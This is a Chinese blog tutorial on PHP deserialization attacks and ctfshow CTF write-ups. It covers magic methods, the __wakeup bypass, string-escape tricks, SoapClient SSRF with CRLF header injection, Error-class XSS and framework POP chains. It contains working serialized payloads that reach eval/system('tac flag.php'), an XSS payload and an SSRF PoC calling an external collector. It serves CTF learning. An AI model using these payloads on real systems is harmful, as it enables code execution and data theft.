PHP反序列化原生类字符串逃逸框架反序列化利用

PHP反序列化

概念

序列化的原因:为了解决开发中数据传输和数据解析的一个情况(类似于要发送一个椅子快递,不可能整个椅子打包发送,这是非常不方便的,所以就要对椅子进行序列化处理,让椅子分成很多部分在一起打包发送,到目的后重新组装,也就是反序列化处理)
在这里插入图片描述

序列化:对象转换为数组或字符串等格式

反序列化:将数组或字符串等格式转换成对象

在php中,serialize()函数是序列化函数、unserialize()函数是反序列化函数

举例:

<?php
header("Content-type: text/html; charset=utf-8");class user{public $name = 'qdy';public $sec = 'man';public $age = '21';
}
$demo = new user();$s = serialize($demo); //序列化
$u = unserialize($s); //反序列化
echo $s.'<br>';
var_dump($u);

在这里插入图片描述

上图可见,代码执行完后第一行是被序列化后的字符串

解读:

在这里插入图片描述

常见魔术方法

__construct

初始化函数,一旦调用类就执行初始化函数

<?php
header("Content-type: text/html; charset=utf-8");
class A {public $name;public $age;public $string;public function __construct($name,$age,$string){$this->name = $name;$this->age = $age;$this->string = $string;echo "初始化函数__construct加载完毕"."<br>";}
}
$person = new A("张三",20,"hello world");

在这里插入图片描述

__destruct

销毁函数,unset()函数销毁 或 一旦调用完毕,自动销毁,销毁就执行销毁函数

<?php
header("Content-type: text/html; charset=utf-8");
class A {public $name;public $age;public $string;public function __destruct(){echo "销毁函数__destruct加载完毕"."<br>";return array("name"=>$this->name,"age"=>$this->age,"string"=>$this->string);}
}
$person = new A("张三",20,"hello world");

在这里插入图片描述

__sleep

序列化函数,一旦对函数实例进行序列化就执行

<?php
header("Content-type: text/html; charset=utf-8");
class A {public function __sleep(){echo "序列化函数__sleep加载完毕"."<br>";}}
$person = new A();
$a = serialize($person);

在这里插入图片描述

__wakeup

反序列化函数,一旦对被序列化的实例反序列化就执行

<?php
header("Content-type: text/html; charset=utf-8");
class B {public $name;public $age;public $string;public function __wakeup(){echo "反序列化函数__wakeup加载完毕"."<br>";}
}
$b = new B("a","b","c");
$ser_b = serialize($b);
unserialize($ser_b);

在这里插入图片描述

__invoke

以函数调用方式调用一个对象时,就会被调用执行

<?php
header("Content-type: text/html; charset=utf-8");
class C {public function __invoke($param1,$param2,$param3){echo "这是一个对象"."<br>";var_dump($param1,$param2,$param3);}
}
$c = new C();
$c('a','b','c');//此时触发

在这里插入图片描述

__toString

当一个对象被当作一个字符串来操作时,__toString 方法将被调用

<?php
header("Content-type: text/html; charset=utf-8");
class D {public function __toString() {// 当一个对象被当作一个字符串来操作时,__toString 方法将被调用echo "__toString函数被执行"."<br>";return "这是一个字符串";}
}
$d = new D();
// 当作字符串输出 就执行
echo $d;

在这里插入图片描述

__call

如果调用的方法不存在,则自动执行__call方法

<?php
header("Content-type: text/html; charset=utf-8");
class E {public function __call($name,$arguments){// 如果调用方法不存在,则自动执行__call方法echo "__call函数被调用"."<br>";echo "调用方法".$name."不存在"."<br>";}
}
$e = new E();
$e->test('a','b');  // test方法不存在

在这里插入图片描述

__get

当试图读取一个不存在的属性时,__get 方法将被调用

<?php
header("Content-type: text/html; charset=utf-8");
class F {public $n =123;public function __get($name){// 当试图读取一个不存在的属性时,__get 方法将被调用echo "__get函数被调用"."<br>";}
}
$f = new F();
echo $f->n;
echo "<br>";
echo $f->qdy;

在这里插入图片描述

__set

当试图给一个不存在的属性赋值时,__set 方法将被调用

<?php
header("Content-type: text/html; charset=utf-8");
class G {public $n =123;public function __set($name,$value){// 当试图给一个不存在的属性赋值时,__set 方法将被调用echo "__set函数被调用"."<br>";}
}
$g = new G();
$g->qdy = 456;
var_dump($g);

在这里插入图片描述

__isset

当对不可访问的属性调用 isset() 或 empty() 时,__isset() 会被调用

isset():检测变量是否已设置并且非 NULL,变量已经存在且不是 NULL,则返回 true

empty():检查变量是否为空。这里的“空”是指变量的值不存在、变量的值为 NULL、变量的值为零长度字符串、变量的值为零、变量的值为布尔值 false、或者变量是一个没有元素的数组。如果变量是“空”的,返回 true

<?php
header("Content-type: text/html; charset=utf-8");
class H {public $sex; //公共的private $age; //私有的private $name;public function __construct($sex,$age,$name){$this->sex = $sex;$this->age = $age;$this->name = $name;}public function __isset($connect){// 当对不可访问的属性调用 isset() 或 empty() 时,__isset() 会被调用echo "__isset函数被调用   $connect"."<br>";}
}
$h = new H("man",20,"张三");
echo $h->sex."<br>";
echo isset($h->name);

例如上面代码中的$age是私有的

在这里插入图片描述

__unset

当对不可访问的属性调用 unset() 时,__unset() 会被调用

unset():销毁变量

<?php
header("Content-type: text/html; charset=utf-8");
class I {public $sex; //公共的private $age; //私有的private $name;public function __construct($sex,$age,$name){$this->sex = $sex;$this->age = $age;$this->name = $name;}public function __unset($connect){// 当对不可访问的属性调用 unset() 时,__unset() 会被调用echo "__unset函数被调用   $connect"."<br>";}
}
$i = new I("man",20,"张三");
echo $i->sex."<br>";

__serialize

public __serialize ( ) : array

必须返回数组

__serialize() 函数会检查类中是否存在一个魔术方法 __serialize()。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回

如果类中同时定义了 serialize() 和 __sleep() 两个魔术方法,则只有 _serialize() 方法会被调用。 __sleep() 方法会被忽略掉。

<?php
header('Content-Type:text/html;charset=utf-8');
class Cat {private $name = null;function __construct(?string $name = null){if(is_null($this->name)){$this->setName($name);}}private function setName($name){$this->name = $name;}public function __serialize(): array{echo "__serialize执行<br>";return ['catname' => $this->name,];}public function __sleep(){echo "__sleep执行<br>";}
}$Cat = new Cat('旺财');  
serialize($Cat);

在这里插入图片描述

可以发现直接忽略掉了__sleep方法 只执行了__serialize方法

__unserialize

public __unserialize ( array $data) : void

必须接收数组

unserialize() 检查是否存在具有名为 __unserialize() 的魔术方法。此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。

注意:如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

<?php
class Connection
{protected $link;private $dsn, $username, $password;public function __construct($dsn, $username, $password){$this->dsn = $dsn;$this->username = $username;$this->password = $password;}public function __unserialize(array $data): void{echo "执行了__unserialize<br>";$this->dsn = $data['dsn'];$this->username = $data['user'];$this->password = $data['pass'];$this->connect();}
}$a = new Connection('mysql:host=localhost;dbname=phpfxl', 'root', '');
unserialize(serialize($a));

在这里插入图片描述

__wakeup绕过(CVE-2016-7124)

漏洞编号:CVE-2016-7124
影响版本:PHP 5-5.6.25; PHP 7-7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性(变量)个数的值大于真实属性个数时会跳过__wakeup执行

<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class A {public $a;public function __wakeup() {echo "执行了__wakeup方法<br>";}
}$a = new A();
$b = serialize($a);
echo $b."<br>";
$c = unserialize($_GET["x"]);

例如这里传入这个函数的序列化就执行了__wakeup方法

在这里插入图片描述

将表示对象属性数量的位置改为大于本来的变量数量即可不执行__wakeup()方法

在这里插入图片描述

字符串逃逸绕过

直接实例讲解

只需记住在反序列化中;}是反序列化的结束符

字符增加型

<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';function __construct($user){$this->user=$user;}
}
$param=$_GET['param'];
$param=serialize(new test($param));
echo $param."<br>";
$profile=unserialize(filter($param));    // //对&param的值user进行安全性检查
echo filter($param)."<br>";if ($profile->pass=='escaping'){    //目标echo "flag is there";
}

例如上述题目,目标要使得pass等于escaping,可是pass不可控,只有user是可控的,但是php会被替换为hack,就会增加一位,先构造后面的序列化后pass的数据

";s:4:“pass”;s:8:“escaping”;}

要判断输入多少个php能达成序列化后的数据是正确的我写了一个公式

4x-29 = 3x (x是未知数)

29数值来源于";s:4:“pass”;s:8:“escaping”;}的长度,4是被替换的hack的长度,3是被替换的php的长度,所以x理应等于反序列化后面的长度

只要算出x的值,那么php就该键入x个+";s:4:“pass”;s:8:“escaping”;}

所以x=29,则payload:param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:“pass”;s:8:“escaping”;}
在这里插入图片描述

刚刚好";s:4:“pass”;s:8:“escaping”;}的长度因为被替换多出的长度弥补

字符减少型

<?php
header("Content-type: text/html; charset=utf-8");
//highlight_file(__FILE__);
class A{public $v1 = "system()";public $v2 = '123';
}
$data = serialize(new A());
$data = str_replace("system()","",$data);    //str_replace把system()替换为"空"
echo $data."<br>";

一个思路

O:1:"A":2:{s:2:"v1";s:8:"";s:2:"v2";s:3:"123";}

由于序列化字符串是以严格的位数和“”决定

//$v1 = "system()";   $v2 = "123"
被替换后:O:1:'A":2{s:2:"v1";s:8:"";s:2:"v2";s:3:"123";}//$v1 = "abcsystem()system()system()"; 26
//$v2 ='1234567";s:2:"v3";N;}'; 21 
被替换后:
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

abc";s:2:“v2”;s:21:"1234567 就变成了v1的值

然后可以随意构造v3的值

PHP原生类

PHP 原生类指的是 PHP 内置的类,它们可以直接在 PHP 代码中使用且无需安装或导入任何库,相当于代码中的内置方法例如echo ,print等等可以直接调用,但是原生类就是可以就直接php中直接创建的类,我们可以直接调用创建对象,但是这些类中有的会有魔术方法,为此,我们可以创建原生类去利用其中的魔术方法来达到我们反序列化的利用。

PHP 原生类的利用小结 - 先知社区

使用 Error/Exception 内置类进行 XSS

Error 内置类
  • 适用于php7版本

  • 在开启报错的情况下

    Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。

demo代码:

<?php
$a = unserialize($_GET['cmd']);
echo $a;
?>

payload:

<?php
$a = new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));
?>

在这里插入图片描述

Exception 内置类
  • 适用于php5、7版本
  • 开启报错的情况下

demo代码

<?php
$a = unserialize($_GET['cmd']);
echo $a;
?>

POC:

<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

在这里插入图片描述

使用 SoapClient 类进行 SSRF

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。

<?php
$a = new SoapClient(null,array('location'=>'http://test.ivxyak.ceye.io/aaa', 'uri'=>'http://test.ivxyak.ceye.io'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

利用crlf漏洞配合user_agent设置请求头参数和POST数据包

请注意:要带POST数据包就得带上请求头参数Content-Type: application/x-www-form-urlencoded

并且排序一定得规律

<?php
$ua = "ua\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>$ua,'uri'=>'http://127.0.0.1'));
$b = serialize($a);
echo urlencode($b);
?>

在这里插入图片描述

使用 DirectoryIterator 类绕过 open_basedir

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类。

<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){echo($f->__toString().'<br>');
}

在这里插入图片描述

php框架反序列化利用 ThinkPHP&Yii&Laravel

生成各种框架POP链工具:https://github.com/ambionics/phpggc

[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化

在这里插入图片描述

访问www.zip下载源码

在这里插入图片描述

打开后可以判断就是ThinkPHP框架的源码

在这里插入图片描述

由此判断框架版本为6.0.x

查找ThinkPHP的反序列化漏洞有此版本

在这里插入图片描述

生成pop链子

在这里插入图片描述

寻找反序列化的位置发现index.php文件内有unserialize($payload)

在这里插入图片描述

审计代码发现,$payload来源于get传参payload的值

绕过限制将参数payload等于刚刚生成的pop链就行了

ctfshow反序列化

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

想输出flag,可以看见,就得执行ctfShowUser类里面的vipOneKeyGetFlag方法

直接看下面,如果想执行到ctfShowUser类实例里的vipOneKeyGetFlag 就得使得 u s e r − > l o g i n ( user->login( user>login(username, p a s s w o r d ) 为 t r u e , password) 为true, password)trueuser->checkVip()为true,使得 t h i s − > u s e r n a m e = = = this->username=== this>username===u&& t h i s − > p a s s w o r d = = = this->password=== this>password===p就能使得$this->isVip=true,就能执行到vipOneKeyGetFlag

payload:?username=xxxxxx&password=xxxxxx
在这里插入图片描述

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

和上题一样,只不过$user变成了cookie里user参数的值,直接将ctfShowUser改成符合下面代码条件再序列化就行

在这里插入图片描述

payload:

?username=xxxxxx&password=xxxxxx

cookie:user=

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

加个user参数的cookie值为payload就可以

在这里插入图片描述

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

这题和上题唯一不一样的点就在vipOneKeyGetFlag方法里想执行echo $flag;就得满足

$this->username!==$this->password

直接更改

public $username='qwer';
public $password='qazx';

在这里插入图片描述

payload:

?username=qwer&password=qazx

cookie:user=

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22qwer%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22qazx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
在这里插入图片描述

web257

<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}

这里出现了两个魔术方法,__construct和 __destruct

想办法更改类使得执行backDoor里的eval就行

在这里插入图片描述

?username=xxxxxx&password=xxxxxx

cookie:user=

O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

在这里插入图片描述

web258

<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}

这题和上一题的区别在于多了过滤

在这里插入图片描述

?username=xxxxxx&password=xxxxxx

cookie:user=

O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

在这里插入图片描述

web259 --利用含有__call魔术方法的原生类SoapClient

在这里插入图片描述
在这里插入图片描述

源代码中没有出现任何的类和getflag方法,调用一个不存在的方法时想到触发__call魔术方法。

那接下来就寻找有__call()方法的原生类,

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(// '__destruct',// '__toString',//'__wakeup','__call',//'__callStatic',//'__get',//'__set',//'__isset',//'__unset',//'__invoke',//'__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类))) {print $class . '::' . $method . "\n";}}}
?>

在这里插入图片描述

执行结束后发现存在SoapClient原生类

这个类可以实现发起http请求

接下来构造,去请求flag.php文件,并且得满足能读到flag的所有条件

在这里插入图片描述

利用ssrf结合crlf构造POC:

<?php
$ua = "ua\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>$ua,'uri'=>'http://127.0.0.1'));
$b = serialize($a);
echo urlencode($b);
?>

在这里插入图片描述

直接访问flag.txt
在这里插入图片描述

web260

阅读源码,意思就是序列化后的ctfshow参数值只要包含ctfshow_i_love_36D字符串就输出flag

那么直接让ctfshow=ctfshow_i_love_36D就行
在这里插入图片描述

web261

<?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);

可以看见类中全是魔术方法,

__construct:初始化方法

__wakeup:反序列化时自动触发

__invoke:以函数调用方式调用一个对象时,就会被调用执行

__sleep:序列化时被调用

__unserialize:

web271 Laravel

在这里插入图片描述

一打开题目就知道是Laravel框架,利用phpgcc查看相关的pop链
在这里插入图片描述

由于不知道版本,只能一个一个生成pop链尝试
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/58778.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CentOS 文件系统扩容与缩容

一、 概述 理解Linux文件系统的管理&#xff0c;需要了解以下的一张图&#xff1a; 一般使用LVM (Logical Volume Manager) 管理磁盘存储&#xff0c;该工具允许用户更灵活地分配和管理存储空间。主要有以下几个概念&#xff1a; PV&#xff08;Physical Volume&#xff0c;物…

大模型面试题全面总结:每一道都是硬核挑战

节前&#xff0c;我们组织了一场算法岗技术&面试讨论会&#xff0c;邀请了一些互联网大厂同学、参加社招和校招面试的同学&#xff0c;针对算法岗技术趋势、大模型落地项目经验分享、新手如何入门算法岗、该如何准备、面试常考点分享等热门话题进行了深入的讨论。 今天分享…

arcgis坐标系问题

2000数据框的工程只能打开2000坐标系的矢量数据和栅格数据&#xff08;影像图&#xff09;&#xff0c;如果打开80的数据则会投影错误&#xff0c;出现较大偏差。 解决方案&#xff1a;80数据框打开80数据&#xff0c;2000数据库打开2000数据。

六西格玛项目助力,手术机器人零部件国产化稳中求胜——张驰咨询

项目背景 XR-1000型腔镜手术机器人是某头部手术机器人企业推出的高端手术设备&#xff0c;专注于微创手术领域&#xff0c;具有高度的精确性和稳定性。而XR-1000型机器人使用的部分核心零部件长期依赖进口&#xff0c;特别是高精度电机、关节执行机构和视觉系统等&#xff0c;…

模型拆解(三):EGNet、FMFINet、MJRBM

文章目录 一、EGNet1.1编码器&#xff1a;VGG16的扩展网络 二、EMFINet2.1编码器&#xff1a;三分支并行卷积编码器2.2CFFM&#xff1a;级联特征融合模块2.3Edge Module&#xff1a;突出边缘提取模块2.4Bridge Module&#xff1a;桥接器2.5解码器&#xff1a;深度特征融合解码器…

【传知代码】图像处理解决种子计数方法

文章目录 一、背景及意义介绍研究背景农业考种需求传统计数方法的局限性人工计数仪器设备计数 研究意义提高育种效率提高计数准确性广泛的适用性数据存档与分析便利 二、概述三、材料与数据准备以及方法介绍整体流程图像采集图像预处理形态学操作腐蚀运算开运算 图像二值化种子…

【酒店管理与推荐系统】Python+Django网页界面平台+推荐算法+管理系统网站

一、介绍 酒店管理系统。基于Python开发&#xff0c;前端使用HTML、CSS、BootStrap等技术搭建页面&#xff0c;后端使用Django框架处理用户响应请求&#xff0c;主要功能如下&#xff1a; 分为普通用户和管理员两个角色普通用户&#xff1a;登录、注册、查看房间详情、收藏、…

List 列表基础用法

List 列表基础用法 列表可以完成大多数集合类的数据结构实现。列表中元素的类型可以不相同&#xff0c;它支持数字&#xff0c;字符串甚至可以包含列表&#xff08;所谓嵌套&#xff09;。 列表是写在方括号 [] 之间、用逗号分隔开的元素列表。 和字符串一样&#xff0c;列表…

C#/.NET/.NET Core技术前沿周刊 | 第 11 期(2024年10.21-10.31)

前言 C#/.NET/.NET Core技术前沿周刊&#xff0c;你的每周技术指南针&#xff01;记录、追踪C#/.NET/.NET Core领域、生态的每周最新、最实用、最有价值的技术文章、社区动态、优质项目和学习资源等。让你时刻站在技术前沿&#xff0c;助力技术成长与视野拓宽。 欢迎投稿、推荐…

redis7学习笔记

文章目录 1. 简介1.1 功能介绍1.1.1 分布式缓存1.1.2 内存存储和持久化(RDBAOF)1.1.3 高可用架构搭配1.1.4 缓存穿透、击穿、雪崩1.1.5 分布式锁1.1.6 队列 1.2 数据类型StringListHashSetZSetGEOHyperLogLogBitmapBitfieldStream 2. 命令2.1 通用命令copydeldumpexistsexpire …

动态规划-回文串系列——516.最长回文子序列

1.题目解析 题目来源&#xff1a;516.最长回文子序列——力扣 测试用例 2.算法原理 1.状态表示 求某段字符的最长回文子序列长度需要知道原来的长度以及判断后续的值是否能与之前的回文子序列构成新的回文子序列&#xff0c;因此一维dp表显然无法满足要求&#xff0c;那么就需…

基于STM32的智能门锁控制系统设计

引言 本项目基于STM32微控制器设计了一个智能门锁控制系统&#xff0c;用户可以通过密码输入或指纹识别来控制门锁的开关。该系统集成了键盘、指纹传感器、舵机等外设&#xff0c;实现了门锁的安全、便捷控制&#xff0c;同时也具备了较强的扩展性。该项目展示了STM32在安防领…

基于 FMEA软件的智能制造质量控制策略_SunFMEA软件

【大家好&#xff0c;我是唐Sun&#xff0c;唐Sun的唐&#xff0c;唐Sun的Sun。一站式数智工厂解决方案服务商】 在智能制造的大背景下&#xff0c;制造业正经历着深刻的变革&#xff0c;质量控制也面临着新的挑战和机遇。FMEA&#xff08;失效模式与影响分析&#xff09;作为一…

躺平成长-运营日记-第三天

开源竞争&#xff1a; &#xff08;自己没有办法完全掌握技术的时候就开源掉&#xff0c;培养出更多的技术依赖&#xff0c;让更多的人完善你的技术&#xff0c;那么这不就是在砸罐子吗&#xff1f;一个行业里面你不去砸罐子&#xff0c;其他人就会砸罐子&#xff0c;你不如先砸…

中文文本分类 pytorch实现

前言 使用pytorch实现了TextCNN&#xff0c;TextRNN&#xff0c;FastText&#xff0c;TextRCNN&#xff0c;BiLSTM_Attention&#xff0c;DPCNN&#xff0c;Transformer&#xff0c;开箱即用。 中文数据集 我从THUCNews&#xff1a;THUCTC: 一个高效的中文文本分类工具中抽取…

JAVA利用方法实现四道题

目录 1.给定一个字符串 s &#xff0c;找到 它的第一个不重复的字符&#xff0c;并返回它的索引 。如果不存在&#xff0c;则返回-1 2.计算字符串最后一个单词的长度&#xff0c;单词以空格隔开。&#xff08;注&#xff1a;字符串末尾不以空格为结尾&#xff09; 3.如果在将所…

前端三件套(HTML + CSS + JS)

前言&#xff1a; 前端三件套&#xff0c;会用就行 毕竟在后面学习JavaWeb&#xff0c;以及在学习vue的时候也有帮助 前端三件套&#xff1a; HTML 定义网页的结构和内容。CSS 负责网页的样式和布局。JavaScript 添加动态交互和功能。 使用到的工具是Visual Studio Code 即…

Android -- [SelfView] 自定义圆盘指针时钟

Android – [SelfView] 自定义圆盘指针时钟 ps:简约圆盘指针时钟&#xff0c;颜色可调、自由搭配&#xff1b;支持阿拉伯数字、罗马数字刻度显示&#xff1b;效果图 使用&#xff1a; <!-- 自定义属性参考 attrs.xml 文件 --> <com.nepalese.harinetest.player.Virg…

边缘计算【智能+安全检测】系列教程--agx orin解决RTC时间问题

因为是离线运行&#xff0c;首要问题是时间不准确&#xff0c;就在主板上加装了纽扣电池&#xff0c;但是会有一系列问题&#xff0c;比如无法将RTC时间回写到系统时间&#xff0c;或者无法将系统时间写到RTC中等等一些列问题。为解决这些问题&#xff0c;一劳永逸的方式&#…

智能家居10G雷达感应开关模块,飞睿智能uA级别低功耗、超高灵敏度,瞬间响应快

在当今科技飞速发展的时代&#xff0c;智能家居已经逐渐成为人们生活中不可或缺的一部分。从智能灯光控制到智能家电的联动&#xff0c;每一个细节都在为我们的生活带来便利和舒适。而在众多智能家居产品中&#xff0c;10G 雷达感应开关模块以其独特的优势&#xff0c;正逐渐成…